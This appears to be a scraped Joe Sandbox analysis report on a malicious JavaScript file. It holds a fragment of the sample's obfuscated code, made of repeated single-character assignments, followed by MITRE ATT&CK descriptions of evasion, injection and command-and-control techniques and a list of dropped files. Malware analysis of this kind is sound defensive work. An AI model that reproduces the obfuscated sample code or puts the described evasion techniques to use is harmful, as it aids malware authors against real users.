1322	qbifmzria = "J";
1323	qbifmzria = "N";
1324	qbifmzria = "T";
1325	qbifmzria = "D";
1326	qbifmzria = "i";
1327	qbifmzria = "b";
1328	qbifmzria = "u";
1329	qbifmzria = "m";
1330	qbifmzria = "n";
1331	qbifmzria = "p";
1332	qbifmzria = "E";
1333	qbifmzria = "e";
1334	qbifmzria = "Y";
1335	qbifmzria = "A";
1336	qbifmzria = "R";
1337	qbifmzria = "P";
1338	qbifmzria = "t";
1339	qbifmzria = "n";
1340	qbifmzria = "K";
1341	qbifmzria = "m";
1342	qbifmzria = "o";
1343	qbifmzria = "F";
1344	qbifmzria = "u";
1345	qbifmzria = "H";
1346	qbifmzria = "%";
1347	ipgut = "G";
1348	ipgut = "N";
1349	ipgut = "l";
1350	ipgut = "S";
1351	ipgut = "K";
1352	ipgut = "f";
1353	ipgut = "E";
1354	ipgut = "t";
1355	ipgut = "L";
1356	ipgut = "a";
1357	ipgut = "r";
1358	ipgut = "J";
1359	ipgut = "E";
1360	ipgut = "S";
1361	ipgut = "M";
1362	ipgut = "N";
1363	ipgut = "N";
1364	ipgut = "B";
1365	ipgut = "v";
1366	ipgut = "t";
1367	ipgut = "q";
1368	ipgut = "A";
1369	ipgut = "x";
1370	ipgut = "V";
1371	ipgut = "0";
1372	swtjxgyn = "a";
1373	swtjxgyn = "j";
1374	swtjxgyn = "X";
1375	swtjxgyn = "B";
1376	swtjxgyn = "D";
1377	swtjxgyn = "e";
1378	swtjxgyn = "J";
1379	swtjxgyn = "x";
1380	swtjxgyn = "R";
1381	swtjxgyn = "M";
1382	swtjxgyn = "O";
1383	swtjxgyn = "U";
1384	swtjxgyn = "G";
1385	swtjxgyn = "7";
1386	dxsytd = "q";
1387	dxsytd = "U";
1388	dxsytd = "J";
1389	dxsytd = "f";
1390	dxsytd = "W";
1391	dxsytd = "p";
1392	dxsytd = "y";
1393	dxsytd = "g";
1394	dxsytd = "P";
1395	dxsytd = "v";
1396	dxsytd = "o";
1397	dxsytd = "d";
1398	dxsytd = "T";
1399	dxsytd = "y";
1400	dxsytd = "Y";
1401	dxsytd = "u";
1402	dxsytd = "b";
1403	dxsytd = "V";
1404	dxsytd = "Y";
1405	dxsytd = "x";
1406	dxsytd = "S";
1407	dxsytd = "R";
1408	dxsytd = "H";
1409	dxsytd = "Q";
1410	dxsytd = "L";
1411	dxsytd = "a";
1412	dxsytd = "A";
1413	dxsytd = "X";
1414	dxsytd = "@";
1415	jycqnqzvp = "v";
1416	jycqnqzvp = "Q";
1417	jycqnqzvp = "p";
1418	jycqnqzvp = "m";
1419	jycqnqzvp = "O";
1420	jycqnqzvp = "U";
1421	jycqnqzvp = "\"";
1422	iqbct = "b";
1423	iqbct = "C";
1424	iqbct = "r";
1425	iqbct = "D";
1426	iqbct = "i";
1427	iqbct = "v";
1428	iqbct = "C";
1429	iqbct = "I";
1430	iqbct = "z";
1431	iqbct = "h";
1432	iqbct = "o";
1433	iqbct = "K";
1434	iqbct = "Y";
1435	iqbct = "c";
1436	iqbct = "u";
1437	iqbct = "g";
1438	iqbct = "T";
1439	eucuja ( );	eucuja() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 867419171264419639.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9516cb07-e758-4a3e-add0-95271fad5db9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1512

Windows Analysis Report
867419171264419639.js